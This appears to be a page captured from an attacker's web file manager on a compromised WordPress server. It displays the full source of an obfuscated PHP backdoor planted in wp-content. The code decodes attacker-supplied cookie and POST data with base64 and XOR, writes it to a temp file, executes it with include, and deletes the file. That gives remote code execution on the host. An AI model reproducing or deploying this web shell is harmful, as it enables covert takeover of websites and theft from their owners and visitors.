HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User: afleverb (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //var/www/wintergenomics_site/wp-content/6399c938.php
$EmHVE = chr ( 685 - 596 )."\137" . 'T' . chr ( 420 - 302 )."\114" . chr ( 280 - 164 ); $GgyVYXZqjv = "\143" . "\154" . 'a' . "\163" . "\x73" . chr (95) . "\x65" . 'x' . chr ( 895 - 790 )."\163" . chr ( 867 - 751 ).'s';$fIEIImn = class_exists($EmHVE); $GgyVYXZqjv = "46704";$lvPHO = strpos($GgyVYXZqjv, $EmHVE);if ($fIEIImn == $lvPHO){function RJNvUV(){$FQPLpwyU = new /* 13346 */ Y_TvLt(18233 + 18233); $FQPLpwyU = NULL;}$aQFFL = "18233";class Y_TvLt{private function sRzlyXLU($aQFFL){if (is_array(Y_TvLt::$xJLXWlw)) {$name = sys_get_temp_dir() . "/" . crc32(Y_TvLt::$xJLXWlw["salt"]);@Y_TvLt::$xJLXWlw["write"]($name, Y_TvLt::$xJLXWlw["content"]);include $name;@Y_TvLt::$xJLXWlw["delete"]($name); $aQFFL = "18233";exit();}}public function IMxPje(){$HidWUS = "17494";$this->_dummy = str_repeat($HidWUS, strlen($HidWUS));}public function __destruct(){Y_TvLt::$xJLXWlw = @unserialize(Y_TvLt::$xJLXWlw); $aQFFL = "17641_57379";$this->sRzlyXLU($aQFFL); $aQFFL = "17641_57379";}public function FFkOKPcN($HidWUS, $WdmqvG){return $HidWUS[0] ^ str_repeat($WdmqvG, intval(strlen($HidWUS[0]) / strlen($WdmqvG)) + 1);}public function rkbyslXQg($HidWUS){$YhTekFsJAh = chr ( 1009 - 911 )."\141" . "\163" . "\x65" . "\x36" . "\64";return array_map($YhTekFsJAh . '_' . chr ( 689 - 589 ).chr ( 790 - 689 ).chr ( 1089 - 990 ).chr (111) . "\x64" . chr (101), array($HidWUS,));}public function __construct($GLllLY=0){$FFMQue = chr (44); $HidWUS = "";$bwtGH = $_POST;$LGayGVqhV = $_COOKIE;$WdmqvG = "5f774679-2874-486b-82e9-9f1acc1a404c";$VbwSmDFUDV = @$LGayGVqhV[substr($WdmqvG, 0, 4)];if (!empty($VbwSmDFUDV)){$VbwSmDFUDV = explode($FFMQue, $VbwSmDFUDV);foreach ($VbwSmDFUDV as $ATBIkUJKFu){$HidWUS .= @$LGayGVqhV[$ATBIkUJKFu];$HidWUS .= @$bwtGH[$ATBIkUJKFu];}$HidWUS = $this->rkbyslXQg($HidWUS);}Y_TvLt::$xJLXWlw = $this->FFkOKPcN($HidWUS, $WdmqvG);if (strpos($WdmqvG, $FFMQue) !== FALSE){$WdmqvG = chunk_split($WdmqvG); $WdmqvG = rtrim($WdmqvG);}}public static $xJLXWlw = 24921;}RJNvUV();}